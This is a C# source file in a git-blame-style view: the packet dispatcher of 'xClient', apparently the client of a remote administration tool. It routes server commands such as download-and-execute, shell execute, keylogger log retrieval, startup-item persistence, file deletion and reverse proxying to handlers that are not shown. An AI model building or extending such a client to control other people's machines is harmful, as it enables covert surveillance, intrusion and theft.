2015-05-28 22:25:40 +00:00
|
|
|
|
using xClient.Core.Commands;
|
2015-06-05 21:07:37 +00:00
|
|
|
|
using xClient.Core.Networking;
|
2015-05-28 22:25:40 +00:00
|
|
|
|
using xClient.Core.ReverseProxy;
|
|
|
|
|
|
|
|
|
|
namespace xClient.Core.Packets
|
|
|
|
|
{
|
|
|
|
|
public static class PacketHandler
|
|
|
|
|
{
|
|
|
|
|
public static void HandlePacket(Client client, IPacket packet)
|
|
|
|
|
{
|
|
|
|
|
var type = packet.GetType();
|
|
|
|
|
|
2015-07-14 17:00:31 +00:00
|
|
|
|
if (type == typeof(ServerPackets.GetAuthentication))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoDownloadAndExecute))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet,
|
2015-05-28 22:25:40 +00:00
|
|
|
|
client);
|
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoUploadAndExecute))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoUploadAndExecute((ServerPackets.DoUploadAndExecute)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoClientDisconnect))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
|
|
|
|
Program.Disconnect();
|
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoClientReconnect))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
|
|
|
|
Program.Disconnect(true);
|
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoClientUninstall))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoClientUninstall((ServerPackets.DoClientUninstall)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.GetDesktop))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleGetDesktop((ServerPackets.GetDesktop)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
|
|
|
|
else if (type == typeof(ServerPackets.GetProcesses))
|
|
|
|
|
{
|
|
|
|
|
CommandHandler.HandleGetProcesses((ServerPackets.GetProcesses)packet, client);
|
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoProcessKill))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoProcessKill((ServerPackets.DoProcessKill)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoProcessStart))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoProcessStart((ServerPackets.DoProcessStart)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.GetDrives))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleGetDrives((ServerPackets.GetDrives)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.GetDirectory))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleGetDirectory((ServerPackets.GetDirectory)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoDownloadFile))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoDownloadFile((ServerPackets.DoDownloadFile)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoMouseClick))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoMouseClick((ServerPackets.DoMouseClick)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
|
|
|
|
else if (type == typeof(ServerPackets.GetSystemInfo))
|
|
|
|
|
{
|
|
|
|
|
CommandHandler.HandleGetSystemInfo((ServerPackets.GetSystemInfo)packet, client);
|
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoVisitWebsite))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoVisitWebsite((ServerPackets.DoVisitWebsite)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoShowMessageBox))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoShowMessageBox((ServerPackets.DoShowMessageBox)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoClientUpdate))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoClientUpdate((ServerPackets.DoClientUpdate)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.GetMonitors))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleGetMonitors((ServerPackets.GetMonitors)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoShellExecute))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoShellExecute((ServerPackets.DoShellExecute)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoPathRename))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoPathRename((ServerPackets.DoPathRename)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoPathDelete))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoPathDelete((ServerPackets.DoPathDelete)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoShutdownAction))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoShutdownAction((ServerPackets.DoShutdownAction)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
|
|
|
|
else if (type == typeof(ServerPackets.GetStartupItems))
|
|
|
|
|
{
|
|
|
|
|
CommandHandler.HandleGetStartupItems((ServerPackets.GetStartupItems)packet, client);
|
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoStartupItemAdd))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoStartupItemAdd((ServerPackets.DoStartupItemAdd)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoStartupItemRemove))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoStartupItemRemove((ServerPackets.DoStartupItemRemove)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.DoDownloadFileCancel))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet,
|
2015-05-28 22:25:40 +00:00
|
|
|
|
client);
|
|
|
|
|
}
|
2015-07-14 17:00:31 +00:00
|
|
|
|
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
|
2015-05-28 22:25:40 +00:00
|
|
|
|
{
|
2015-07-14 17:00:31 +00:00
|
|
|
|
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
|
2015-05-28 22:25:40 +00:00
|
|
|
|
}
|
|
|
|
|
else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnect) ||
|
|
|
|
|
type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
|
|
|
|
|
type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
|
|
|
|
|
type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
|
|
|
|
|
{
|
|
|
|
|
ReverseProxyCommandHandler.HandleCommand(client, packet);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|